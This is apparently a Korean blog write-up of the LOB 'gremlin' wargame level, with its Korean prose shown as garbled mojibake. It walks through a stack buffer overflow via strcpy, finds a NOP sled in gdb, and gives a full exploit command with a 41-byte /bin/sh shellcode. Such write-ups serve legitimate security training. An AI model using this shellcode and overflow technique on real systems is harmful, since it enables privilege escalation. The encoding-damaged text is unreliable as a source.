LOB gate๋ก ์ ์์ ํ๋ฉด
gate์ gate๋ก ์ ์๊ฐ๋ฅํ๋ค.
์ ์ํ ํ์ธ ํ๋ฉด ํ์ผ์ด 3๊ฐ์๋ ๊ฒ์ด ํ์ธ๊ฐ๋ฅ ํ๋ค
๋จผ์ cp ๋ช ๋ น์ ์ด์ฉํ์ฌ gremlin์ ๊ถํ์ด ์์ด gdb ๋ ๋ชปํ๋ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ !
cp๋ช ๋ น์ด๋ ํ์ผ์ ๋ณต์ฌํ๋ ๋ช ๋ น์ด์ด๋ค.
ํ์ผ์ ๋ณต์ฌํ๊ณ gremlin.c ๋ฅผ ์ด์ด๋ณด๋ฉด
strcpy์์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ๋ณผ์ ์๋ค.
ํ์ด๋ก๋๋ฅผ ์๊ฐ ํด๋ณด๋ฉด ์ผ๋จ buffer 260(256+sfp)+shellcode+ret์ฃผ์(buffer์ฃผ์)๋ฅผ ๋ฃ์ด์ผํ๋ค.
gdb๋ก ํ์ธ์ ํด๋ณด๋ฉด strcpy๋ค์์์ ์ผ์ด๋๋
b *main+59์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ๊ฑธ๊ณ
r $(python -c 'print "\x90"*200(์์์ ๊ฐ)')์ ๋ฃ๊ณ
x/100x $esp ๋ก esp๊ฐ์ ํ์ธ ํ๋ฉด 0x90909090์์ํ๋ ๋ถ๋ถ์ ์ฐพ์ ์์๋ค
๊ทธ๊ณณ์์ ์ ๋นํ ์์น๋ฅผ ์ก๊ณ attack!!
q ๋ฅผ ์ด์ฉํด gdb ์์ ๋์จํ ./gremlin $(python -c 'print "\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80(41byte shellcode)+"\x90"*19+"์ฃผ์๊ฐ"')=> 260+์ฃผ์ ๊ฐ(200+41+19+์ฃผ์๊ฐ(4byte) ์์ฑ
'Wargame > CTF(Capture The Flag)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
LOB goblin (0) | 2015.09.15 |
---|---|
LOB gremlin (0) | 2015.09.14 |
Challenge 36 - Back Up (0) | 2015.09.05 |
Chellenge 39 - ??? (0) | 2015.09.05 |
Challenge 27 - SQL Injection (0) | 2015.09.05 |
๋๊ธ